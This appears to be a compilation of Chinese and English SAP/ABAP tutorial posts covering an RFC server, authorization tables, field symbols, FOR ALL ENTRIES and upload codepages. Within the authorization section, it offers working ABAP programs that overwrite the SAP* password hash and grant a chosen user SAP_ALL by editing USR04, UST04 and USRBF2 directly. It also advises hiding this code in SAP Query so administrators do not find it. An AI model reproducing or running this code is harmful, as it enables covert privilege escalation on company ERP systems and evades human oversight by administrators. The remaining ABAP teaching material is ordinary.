CUSTOMER_T = TBLCUST
EXCEPTIONS
NOTHING_SPECIFIED = 1
NO_RECORD_FOUND = 2
OTHERS = 3.
CASE SY-SUBRC.
WHEN 0.
LOOP AT TBLCUST.
WRITE: / SY-TABIX, TBLCUST-KUNNR, TBLCUST-NAME1, TBLCUST-ORT01.
ENDLOOP.
WHEN 1.
WRITE: / 'You need to specify a value ', SY-MSGV1.
WHEN 2.
WRITE: / '.NET component didnt find anything ', SY-MSGV1.
WHEN 3.
WRITE: / 'Some other error occurred ', SY-MSGV1.
WHEN OTHERS.
WRITE: / 'Something is wrong if we get here'.
ENDCASE.
The entry point in the C# method is the method with the function module name being called from the SAP system (for example, RFC_CUSTOMER_GET). In Microsoft Visual Studio, you can set a breakpoint here and examine the input values from the SAP system. This provides a similar idea to the ABAP_DEBUG functionality that is provided in the client proxy.
RFCServerConsole - is an SAP RFC Server implemented in C#.
The SAP system calls out to this .net component.
This component implements, RFC_CUSTOMER_GET and will return 2 customers to SAP. Before calling this
component from inside of SAP, you'll need a TCP/IP destination (SM59) - (type registration). Set the
SAP connection in the Visual Studio project properties for RFCServerConsole (e.g. right click on it)
Properties > Configuration Properties > Debugging > Command line arguments.
(example -aSomeProgID -gLOCALHOST -xSAPGW00)
The program id (-a) parameter must match exactly in your component and in the TCP/IP destination (SM59)
All you have to do in sm59 is write RFC destination , Program ID , Description .
The Program ID is important ,because it is just the SomeProgID (example -aSomeProgID -gLOCALHOST -xSAPGW00)run RFCServerConsole.exe -aSomeProgID -gLOCALHOST -xSAPGW00 in commond.exe
SAP用户权限解剖及自修改
通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profile name,
记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?
首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.
2.activity category &Authorization group
Role Vs Profile
你看看表T020就知道了,就是什么K,D, A, M什么的.
profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.
role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile也是可做任何事情.
SAP本身有很多default role & profile.
3.最常用的PFCG->authorizations->change authorization data->
进入后选取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization objec,然后手工加入就可以.
你选去authorization levels就可by account type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.
那么SAP是如何做到权限控制的呢,屠夫就用刀小宰一下.
4.关于权限方面的几个t-code.
(一)Role(角色)相关T-code:
PFAC 标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG 创建
ROLE_CMP 比较
SUPC 批量建立角色profile
SWUJ 测试
SU03 检测authorzation data
SU25, SU26 检查updated profile
(二)建立用户相关T-code:
SU0
SU01
SU01D
SU01_NAV
SU05
SU50, Su51, SU52
SU1
SU10 批量
SU12 批量
SUCOMP:维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统
用户组
SUGR:维护
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(三)关于profile&Authoraztion Data
SU02:直接创建profile不用role
SU20:细分Authorization Fields
SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.
对具体transaction code细分:
SU22,SU24
SU53:*** 就是你出错用来检查没有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role
DB和logical层:
SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 用户级authoraztion值
-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户
USREFUS:
USRBF2
USRBF3
UST04:User Profile在此
UST10C: Composite profiles
UST10S: Single profiles (角色对应的
UST12 : Authorizations..............................
..............................
如何窃取权限
..............................
用户:
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.
通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code
这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02 .
现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...
这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2 这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report : Steal SAP ALL Right *
*& Creation Date : 2004.04.01 *
*& Created by : Stone.Fu *
*& Description : 可窃取SAP ALL权限 *
*& Modified Date : 2005.11.02
*& Description : 将此code hide在report painter or query code *
*&---------------------------------------------------------------------*
report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .
**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP all 权限
Update UST04 from zUST04 .
*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.
然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.
from http://space.itpub.net/?uid-13946941-action-viewspace-itemid-468329
SAP ABAP--通过Field-symbols修改内表( same as c and c++ point)
1. 什么是ABAP指针:
在ABAP里面,field symbol就相当于c语言的指针。如果你定义并且分配了相应的结构或者变量给它,其实它就指
向这个结构或者变量的地址,如果修改了field symbol的值,则相应结构或者变量的值也随之更改。
2. 如何定义指针:
基本形式:FIELD-SYMBOLS <fs>.
附加信息:
1. ... TYPE :定义一个数据类型,然后定义指针
2. ... TYPE REF TO :指针指向类或者接口
3. ... TYPE REF TO :指针指向数据结构
4. ... TYPE LINE OF :指针内表的行项目
5. ... LIKE :指针为数据库表类型
6. ... LIKE LINE OF :指针类型为数据库表的行项目
3. 如何分配指针:
(1). ASSIGN f TO .:分配一个指针,包括以下几种类型
1. ... CASTING ... :主要对unicode系统地操作
1a. ... CASTING
1b. ... CASTING TYPE type
1c. ... CASTING ... DECIMALS dec
1d. ... CASTING LIKE f1
2. ... TYPE type :直接指定类型
3. ... DECIMALS dec :指定小数点位数
4. ... RANGE range:指定范围
(2). 分配结构中的某个字段给指针
ASSIGN COMPONENT idx OF STRUCTURE struc TO .
ASSIGN COMPONENT name OF STRUCTURE struc TO .
(3). 分配类的方法给指针
ASSIGN dref->* TO .
(4). 从f开始,是f的n倍长之后的内容分配给指针
ASSIGN f INCREMENT n TO .
(5). 分配局部变量给指针
ASSIGN LOCAL COPY
3a. ASSIGN LOCAL COPY OF f TO .
3b. ASSIGN LOCAL COPY OF INITIAL f TO .
3c. ASSIGN LOCAL COPY OF INITIAL LINE OF itab TO .
4c. ASSIGN LOCAL COPY OF MAIN TABLE FIELD (f) TO .
(6). ASSIGN dynamicJ:动态分配指针
4a. ASSIGN (f) TO .
4b. ASSIGN oref->(f) TO .
4c. ASSIGN (f1)=>(f2) TO .
4d. ASSIGN TABLE FIELD (f) TO .
4e. ASSIGN LOCAL COPY OF MAIN TABLE FIELD (f) TO .
4f. ASSIGN LOCAL COPY OF ... (f) TO .
4. 如何取消分配:
UNASSIGN .
不清楚内表内表到底是itab还是itab2,但是又要访问内表里的第2个字段。所以在loop的时候不能用to到一个结构体,而要用assigning一个指向ANY的指针,然后进行后面的操作。
IF n = 1.
ASSIGN itab[] TO <tab_fs>. " <tab_fs>是指向standard table的
ELSE.
ASSIGN itab2[] TO <tab_fs>.
ENDIF.
LOOP AT <tab_fs> ASSIGNING <wa_fs>.
ASSIGN COMPONENT 2 OF STRUCTURE <wa_fs> TO <field_fs>. ”filed_fs是ANY的
WRITE: / <field_fs>.
ENDLOOP.
具体实现:
1.结构的动态查询
DEFINE SELECT_DATA_TO_WA.
SELECT &1
FROM &2
INTO CORRESPONDING FIELDS OF &3
WHERE (&4).
EXIT.
ENDSELECT.
END-OF-DEFINITION.
2.变量的动态查询
DEFINE SELECT_DATA_TO_VARIANT.
SELECT &1
FROM &2
INTO &3
WHERE (&4).
EXIT.
ENDSELECT.
END-OF-DEFINITION.
3.内表的动态查询
DEFINE SELECT_DATA_TO_VARIANT.
SELECT &1
FROM &2
INTO CORRESPONDING FIELDS OF TABLE &3
WHERE (&4).
EXIT.
ENDSELECT.
END-OF-DEFINITION.
具体程序实现:
DATA: L_FIELD(100) TYPE C,
L_TABLE(10) TYPE C,
L_COND(100) TYPE C.
DATA: I_COND TYPE TALBE OF L_COND.
FIELD-SYMBOLS TYPE ANY.
START-OF-SELECTION.
CONCATENATE 'CARRID' 'CONNID' 'CITYFROM'
INTO L_S
SEPARATE BY SPACE.
CONCATENATE 'CONNID = ' '0123'
INTO L_COND.
APPEND COND TO I_COND.
L_TABLE = 'SPFLI'.
IF IS ASSIGNED.
UNASSIGN .
ASSIGN SPFLI TO .
ELSE.
ASSIGN SPFLI TO .
ENDIF.
SELECT_DATA_TO_WA (L_S) (L_TABLE) I_COND.
=================================================================================
FIELD-SYMBOLS CASTING
REPORT z_barry_fs_casting.
TYPES: BEGIN OF t_date,
year(4) TYPE n,
month(2) TYPE n,
day(2) TYPE n,
END OF t_date.
FIELD-SYMBOLS <fs> TYPE t_date.
ASSIGN sy-datum TO <fs> CASTING.
WRITE: / sy-datum,
/ <fs>-year , / <fs>-month, / <fs>-day.
=================================================================================
光标操作
DATA: w_fname(20) TYPE c,
w_val(10) TYPE c.
PARAMETERS: p1(10) TYPE c,
p2(10) TYPE c,
p3(10) TYPE c.
AT SELECTION-SCREEN.
CHECK sy-ucomm IS INITIAL.
GET CURSOR FIELD w_fname VALUE w_val.
CHECK w_val IS INITIAL. "如果没有输入
CLEAR w_fname.
AT SELECTION-SCREEN OUTPUT.
CASE w_fname.
WHEN 'P1'.
CLEAR w_fname.
SET CURSOR FIELD 'P2'.
WHEN 'P2'.
CLEAR w_fname.
SET CURSOR FIELD 'P3'.
ENDCASE.
======================================================================
ABAP--Field Symbol 的Example(来自SAP的样例)
Full type specification
REPORT demo_field_symbols_type .
DATA: BEGIN OF line,
col1(1) TYPE c,
col2(1) TYPE c VALUE 'X',
END OF line.
FIELD-SYMBOLS <fs> LIKE line.
ASSIGN line TO <fs>.
MOVE <fs>-col2 TO <fs>-col1.
WRITE: <fs>-col1, <fs>-col2.
Forcing structures
REPORT demo_field_symbols_structure .
DATA: wa(10) TYPE c VALUE '0123456789'.
DATA: BEGIN OF line1,
col1(3) TYPE c,
col2(2) TYPE c,
col3(5) TYPE c,
END OF line1.
DATA: BEGIN OF line2,
col1(2) TYPE c,
col2 TYPE sy-datum,
END OF line2.
* obsolete -------------------------------------------------------------
FIELD-SYMBOLS: <f1> STRUCTURE line1 DEFAULT wa,
<f2> STRUCTURE line2 DEFAULT wa.
* correct --------------------------------------------------------------
FIELD-SYMBOLS <f3> LIKE line1.
ASSIGN wa TO <f3> CASTING.
FIELD-SYMBOLS <f4> LIKE line2.
ASSIGN wa TO <f4> CASTING.
* ----------------------------------------------------------------------
WRITE: / <f1>-col1, <f1>-col2, <f1>-col3,
/ <f2>-col1, <f2>-col2.
SKIP.
WRITE: / <f3>-col1, <f3>-col2, <f3>-col3,
/ <f4>-col1, <f4>-col2.
Static assign
REPORT demo_field_symbols_stat_assign .
FIELD-SYMBOLS: <f1> TYPE ANY, <f2> TYPE i.
DATA: text(20) TYPE c VALUE 'Hello, how are you?',
num TYPE i VALUE 5,
BEGIN OF line1,
col1 TYPE f VALUE '1.1e+10',
col2 TYPE i VALUE '1234',
END OF line1,
line2 LIKE line1.
ASSIGN text TO <f1>.
ASSIGN num TO <f2>.
DESCRIBE FIELD <f1> LENGTH <f2>.
WRITE: / <f1>, 'has length', num.
ASSIGN line1 TO <f1>.
ASSIGN line2-col2 TO <f2>.
MOVE <f1> TO line2.
ASSIGN 'LINE2-COL2 =' TO <f1>.
WRITE: / <f1>, <f2>.
Assign with offset
REPORT demo_field_symbols_stat_as_off .
FIELD-SYMBOLS <fs> TYPE ANY.
DATA: BEGIN OF line,
string1(10) VALUE '0123456789',
string2(10) VALUE 'abcdefghij',
END OF line.
WRITE / line-string1+5.
ASSIGN line-string1+5 TO <fs>.
WRITE / <fs>.
ASSIGN line-string1+5(*) TO <fs>.
WRITE / <fs>.
REPORT demo_field_symbols_stat_as_of2 .
FIELD-SYMBOLS <fs> TYPE ANY.
DATA: BEGIN OF line,
a TYPE c VALUE '1', b TYPE c VALUE '2',
c TYPE c VALUE '3', d TYPE c VALUE '4',
e TYPE c VALUE '5', f TYPE c VALUE '6',
g TYPE c VALUE '7', h TYPE c VALUE '8',
END OF line,
off TYPE i,
len TYPE i VALUE 2.
DO 2 TIMES.
off = sy-index * 3.
ASSIGN line-a+off(len) TO <fs>.
<fs> = 'XX'.
ENDDO.
DO 8 TIMES.
off = sy-index - 1.
ASSIGN line-a+off(1) TO <fs>.
WRITE <fs>.
ENDDO.
Dynamic assign
REPORT demo_field_symbols_dynami_as_2 .
TABLES sbook.
DATA: name1(20) TYPE c VALUE 'SBOOK-FLDATE',
name2(20) TYPE c VALUE 'NAME1'.
FIELD-SYMBOLS <fs> TYPE ANY.
ASSIGN TABLE FIELD (name1) TO <fs>.
WRITE: / 'SY-SUBRC:', sy-subrc.
ASSIGN TABLE FIELD (name2) TO <fs>.
WRITE: / 'SY-SUBRC:', sy-subrc.
Assigning field symbols
REPORT demo_field_symbols_dynami_as_3 .
DATA: BEGIN OF s,
a TYPE c VALUE '1', b TYPE c VALUE '2', c TYPE c VALUE '3',
d TYPE c VALUE '4', e TYPE c VALUE '5', f TYPE c VALUE '6',
g TYPE c VALUE '7', h TYPE c VALUE '8',
END OF s.
DATA off TYPE i.
FIELD-SYMBOLS <fs> TYPE ANY.
ASSIGN s-a TO <fs>.
DO 4 TIMES.
off = sy-index - 1.
ASSIGN <fs>+off(1) TO <fs>.
WRITE <fs>.
ENDDO.
Assigning a structure by component
REPORT demo_field_symbols_assign_comp .
DATA: BEGIN OF line,
col1 TYPE i VALUE '11',
col2 TYPE i VALUE '22',
col3 TYPE i VALUE '33',
END OF line.
DATA comp(5) TYPE c VALUE 'COL3'.
FIELD-SYMBOLS: <f1> TYPE ANY, <f2> TYPE ANY, <f3> TYPE ANY.
ASSIGN line TO <f1>.
ASSIGN comp TO <f2>.
DO 3 TIMES.
ASSIGN COMPONENT sy-index OF STRUCTURE <f1> TO <f3>.
WRITE <f3>.
ENDDO.
ASSIGN COMPONENT <f2> OF STRUCTURE <f1> TO <f3>.
WRITE / <f3>.
Casting with field symbol type
REPORT demo_field_symbols_casting.
TYPES: BEGIN OF t_date,
year(4) TYPE n,
month(2) TYPE n,
day(2) TYPE n,
END OF t_date.
FIELD-SYMBOLS <fs> TYPE t_date.
ASSIGN sy-datum TO <fs> CASTING.
WRITE / sy-datum.
SKIP.
WRITE: / <fs>-year , / <fs>-month, / <fs>-day.
Casting with explicit type
REPORT demo_field_symbols_casting_typ.
TYPES: BEGIN OF t_date,
year(4) TYPE n,
month(2) TYPE n,
day(2) TYPE n,
END OF t_date.
FIELD-SYMBOLS: <fs> TYPE ANY,
<f> TYPE n.
ASSIGN sy-datum TO <fs> CASTING TYPE t_date.
WRITE / sy-datum.
SKIP.
DO.
ASSIGN COMPONENT sy-index OF STRUCTURE <fs> TO <f>.
IF sy-subrc <> 0.
EXIT.
ENDIF.
WRITE / <f>.
ENDDO.
Casting with predefined data types
REPORT demo_field_symbols_assign_type .
DATA txt(8) TYPE c VALUE '19980606'.
DATA mytype(1) VALUE 'X'.
FIELD-SYMBOLS <fs> TYPE ANY.
ASSIGN txt TO <fs>.
WRITE / <fs>.
SKIP.
* obsolete -------------------------------------------------------------
ASSIGN txt TO <fs> TYPE 'D'.
WRITE / <fs>.
ASSIGN txt TO <fs> TYPE mytype.
WRITE / <fs>.
SKIP.
* correct --------------------------------------------------------------
ASSIGN txt TO <fs> CASTING TYPE d.
WRITE / <fs>.
ASSIGN txt TO <fs> CASTING TYPE (mytype).
WRITE / <fs>.
Casting decimla places
REPORT demo_field_symbols_assign_deci .
DATA: pack1 TYPE p DECIMALS 2 VALUE '400',
pack2 TYPE p DECIMALS 2,
pack3 TYPE p DECIMALS 2.
FIELD-SYMBOLS: <f1> TYPE ANY ,
<f2> TYPE ANY.
WRITE: / 'PACK1', pack1.
SKIP.
* obsolete -------------------------------------------------------------
ASSIGN pack1 TO <f1> DECIMALS 1.
WRITE: / '<F1> ', <f1>.
pack2 = <f1>.
WRITE: / 'PACK2', pack2.
ASSIGN pack2 TO <f2> DECIMALS 4.
WRITE: / '<F2> ', <f2>.
pack3 = <f1> + <f2>.
WRITE: / 'PACK3', pack3.
<f2> = '1234.56789'.
WRITE: / '<F2> ', <f2>.
WRITE: / 'PACK2', pack2.
SKIP.
* correct --------------------------------------------------------------
ASSIGN pack1 TO <f1> CASTING TYPE p DECIMALS 1.
WRITE: / '<F1> ', <f1>.
pack2 = <f1>.
WRITE: / 'PACK2', pack2.
ASSIGN pack2 TO <f2> CASTING TYPE p DECIMALS 4.
WRITE: / '<F2> ', <f2>.
pack3 = <f1> + <f2>.
WRITE: / 'PACK3', pack3.
<f2> = '1234.56789'.
WRITE: / '<F2> ', <f2>.
WRITE: / 'PACK2', pack2.
Data areas for field symbols
REPORT demo_field_symbols_assign_err .
DATA: text1(10) TYPE c, text2(10) TYPE c, text3(5) TYPE c.
FIELD-SYMBOLS <fs> TYPE ANY.
DO 100 TIMES. "Runtime-Error!
ASSIGN text1+sy-index(1) TO <fs>.
ENDDO.
Data references
REPORT demo_data_reference.
TYPES: BEGIN OF t_struct,
col1 TYPE i,
col2 TYPE i,
END OF t_struct.
DATA: dref1 TYPE REF TO data,
dref2 TYPE REF TO data.
FIELD-SYMBOLS: <fs1> TYPE t_struct,
<fs2> TYPE i.
CREATE DATA dref1 TYPE t_struct.
ASSIGN dref1->* TO <fs1>.
<fs1>-col1 = 1.
<fs1>-col2 = 2.
dref2 = dref1.
ASSIGN dref2->* TO <fs2> CASTING.
WRITE / <fs2>.
GET REFERENCE OF <fs1>-col2 INTO dref2.
ASSIGN dref2->* TO <fs2>.
WRITE / <fs2>.
===========================================================================
ABAP--通过Field-symbols修改内表
report demo_field_symbols_assign_comp .
DATA: BEGIN OF gs_itab,
drph(10) ,
cmsl01(17),
cmsl02(17),
sl01(17),
sl02(17),
END OF gs_itab.
DATA: gt_ita1 LIKE gs_itab OCCURS 0 WITH HEADER LINE.
data gv_zd(15).
FIELD-SYMBOLS <sl> TYPE c.
FIELD-SYMBOLS <cmsl> TYPE c.
FIELD-SYMBOLS <fs> LIKE LINE OF gt_ita1.
DO 15 TIMES.
gt_ita1-drph = SY-INDEX .
gt_ita1-cmsl01 = 2.
append gt_ita1.
enddo.
write 'Before Modify:'.
write:/ 'cmsl01','cmsl02','sl01','sl02'.
loop at gt_ita1.
write:/ '|',gt_ita1-cmsl01,'|',gt_ita1-cmsl02,'|',gt_ita1-sl01,'|' ,gt_ita1-sl02,'|'.
endloop.
loop at gt_ita1 aSSIGNING <fs>.
ASSIGN COMPONENT 'CMSL01' OF STRUCTURE <fs> TO <cmsl>.
ASSIGN COMPONENT 'SL01' OF STRUCTURE <fs> TO <sl>.
move <cmsl> to <sl>.
ASSIGN COMPONENT 'SL02' OF STRUCTURE <fs> TO <sl>.
move <cmsl> to <sl>.
<fs>-CMSL02 = 'A' .
endloop.
write / 'After Modify:'.
loop at gt_ita1.
write:/ '|',gt_ita1-cmsl01,'|',gt_ita1-cmsl02,'|',gt_ita1-sl01,'|' ,gt_ita1-sl02,'|'.
endloop.
注意:ASSIGN TABLE FIELD (f) TO <fs>. 只能用TABLES定义的变量
An important, but frequently misunderstood aspect of ABAP, is the "Field Symbol". But you'll find they aren't mysterious. In fact, they may remind you of some features in popular general-purpose programming languages.
Field symbols allow you to:
** Assign an alias to a data object(for example, a shortened name for data objects structured through several hierarchies
For Example: <fs>-f instead of rec1-rec2-rec3-f)
** Set the offset and length for a string variably at runtime
** Set a pointer to a data object that you determine at runtime (dynamic ASSIGN)
** Adopt or change the type of a field dynamically at runtime
** Access components of a structure (from Release 4.5A) Point to lines of an internal table (process internal tables without a separate work area)
Field symbols in ABAP are similar to pointers in other programming languages. However, pointers (as used in PASCAL or C) differ from ABAP field symbols in their reference syntax.
The statement ASSIGN f to <fs> assigns the field f to field symbol <fs>. The field symbol <fs> then "points" to the contents of field f at runtime. This means that all changes to the
contents of f are visible in <fs> and vice versa. You declare the field symbol <fs> using the statement FIELD-SYMBOLS: <fs>.
Reference syntax
Programming languages such as PASCAL and C use a dereferencing symbol to indicate the difference between a reference and the object to which it refers; so PASCAL would use p^ for a pointer instead of p, C would use *p instead of p. ABAP does not have any such dereferencing symbol.
** In PASCAL or C, if you assign a pointer p1 to a pointer p2, you force p1 to point to the object to which p2 refers (reference semantics).
** In ABAP, if you assign a field symbol <fs1> to a field symbol <fs2>, <fs1> takes the value of the data object to which <fs2> refers (value semantics).
** Field symbols in ABAP are always dereferenced, that is, they always access the referenced data object. If you want to change the reference yourself in ABAP, you can use the ASSIGN statement
to assign field symbol <fs1> to field symbol <fs2>.
参考链接:http://blog.csdn.net/CompassButton/archive/2007/06/15/1653907.aspx
http://blog.csdn.net/CompassButton/archive/2007/06/15/1653157.aspx
=======================
沟通无限
msn:erp.expert@hotmail.com
sap ABAP "FOR ALL ENTRIES IN" 使用指南
SAP ABAP Performance Tuning
Tips & Tricks
Use of FOR ALL Entries
Use of FOR ALL Entries
Outer join can be created using this addition to the where clause in a select statement. It speeds up the performance tremendously, but the cons of using this variation are listed below
- Duplicates are automatically removed from the resulting data set. Hence care should be taken that the unique key of the detail line items should be given in the select statement.
- If the table on which the For All Entries IN clause is based is empty, all rows are selected into the destination table. Hence it is advisable to check before-hand that the first table is not empty.
- If the table on which the For All Entries IN clause is based is very large, the performance will go down instead of improving. Hence attempt should be made to keep the table size to a moderate level.
Not Recommended
Loop at int_cntry.
Select single * from zfligh into int_fligh
where cntry = int_cntry-cntry.
Append int_fligh.
Endloop.
Recommended
Select * from zfligh appending table int_fligh
For all entries in int_cntry
Where cntry = int_cntry-cntry.
在ABAP开发中,对于不能使用join的聚集表或者需要使用SELECT 的内表,我们一般使用for all entries in 语句将该表与内表串联,查询出需要的数据,例如: BSEG聚集表为例,如下:
SELECT bseg~kunnr
bseg~lifnr
bseg~belnr
INTO TABLE itab_bseg
FROM bseg
FOR ALL ENTRIES IN itab_main
WHERE bukrs in _bukrs
and ( belnr = itab_main-belnr
AND hkont = itab_main-hkont ).
由于BSEG不能和BSIS做inner join所以先将BSIS内容放到itab_main 中,然后用 FOR ALL ENTRIES IN来串联。
1-WHERE子句中的bukrs in _bukrs是指bseg-bukrs存在于_bukrs这个select-options中,_bukrs不是itab_main的field所以这部分不包括在括号中.
当然会增加内存使用了。
原本一个条件,数次(驱动表的纪录条数)向对DB操作,
使用了FOR ALL ENTRIES后,
相当于把驱动表里的条件字段的所有值用OR 连起来,
一次对DB操作,
条件语句增大,势必使内存占用增多。
1.SELECT CARRID
CONNID
PRICE
FROM SFLIGHT
INTO TABLE IT_PRICE
FOR ALL ENTRIES IN IT_SFLIGHT
WHERE CARRID = IT_SFLIGHT-CARRID
AND CONNID = IT_SFLIGHT-CONNID'.
在 WHERE 条件中,IT_SFLIGHT-CARRID和IT_SFLIGHT-CONNID这些列将用作占位符。该 SELECT 语句的结果集是 SELECT 语句的所有结果集的联合,这些结果集是用内部表 IT_SFLIGHT 中的相应值在每一行上替换占位符的结果。实际上该WHERE子句的特殊变式就是下面WHERE基本语句的简略写法。
SELECT DISTINCT CARRID
CONNID
PRICE
FROM SFLIGHT
INTO TABLE IT_PRICE
WHERE ( CARRID = 'LH' AND
CONNID = '2415' ) OR
( CARRID = 'SQ' AND
CONNID = '0026' ) OR
( CARRID = 'LH' AND
CONNID = '0400' ) .
2.使用该语句,对于最后得出的结果集系统会自动删除重复行。因此如果你要保留重复行记录时,记得在SELECT语句中添加足够键值项目(有必要时,增加全部键值项目),以保证结果集中所需重复项目不会被删除。(例如选取支付金额时,支付事件可能不同,但金额可能相同,此时一定要注意,以避免错误删除结果记录。)
3.FOR ALL ENTRIES IN后面使用的内部表itab如果为空,系统将视为无条件选取,将当前CLIENT下所有记录选出。因此为避免无意义的全件检索,在使用该语句前一定要判断内部表itab是否为空,为空时不执行包含该语句的数据库检索处理。
4.由于itab-f实际上是作为占位符被替换,所以内部表itab中不要包含HEADER行(项目标识名称行),以免造成混淆,检索出错。
5.内部表itab中作为条件替换用项目的类型和长度,一定要和检索数据库中对应的项目相同,否则编译不能通过。
6.对于内部表itab中作为条件替换用项目,不能使用LIKE,BETWEEN,IN比较操作符。因为这些比较操作符都是不确定比较操作符(将选择条件设定在一个范围内),而FOR ALL ENTRIES IN语句的作用相当于将选择条件块全部并列开来,用OR连接,如果每个OR分支中又是不确定的范围,那么系统性能将大大降低,因此R/3系统在使用该语句时禁止使用不确定比较操作符。
7.使用该语句时,ORDER BY语句和HAVING语句将不能使用。
8.使用该语句时,除COUNT( * )以外的所有合计函数(MAX,MIN,AVG,SUM)都不能使用。
//判断内表是否为空
使用语句: DESCRIBE TABLE ITAB LINES VARIABLE.判断系统变量sy-subrc是否为0,如果为0就表示不空,反之为空!
DESCRIBE TABLE ITAB LINES VARIABLE
IF NOT P_VARIANT IS INITIAL.
WX_VARIANT-VARIANT = P_VARIANT.
ENDIF.
备注: 使用 for all entries in 虽然在某些方面是很方便的,但是他很耗内存, 在使用时一定要注意, 若不是万万不得已还是建议不要使用为好。
SAP ABAP----关于GUI_UPLOAD时CODEPAGE的使用的小知识
在很多项目里,或者一些应用上,我们经常需要把一些文件导入到SAP系统里,最经常我们使用的读取数据的方法就是使用GUI_UPLOAD这个FM.在这个FM中有个CODEPAGE,是用来指定代码页的.
如果我们导的是中文的话,我们经常使用的是8400.当然还有8401,8411等等.
主要介绍一下8400/8401.因为大家最常用的是8400.看8400的介绍上说,是based on GB2312-EUC版本,WINDOWS的代码页就是CP936.8401使用的就是GB18030 2000编码.那么他们的区别在哪里呢.
1、 GB2312
GB2312(1980年)一共收录了7445个字符,包括6763个汉字和682个其它符号。汉字区的内码范围高字节从B0-F7,低字节从A1-FE,占用的码位是72*94=6768。其中有5个空位是D7FA-D7FE。
在windows中的代码页是CP936
2、 GBK
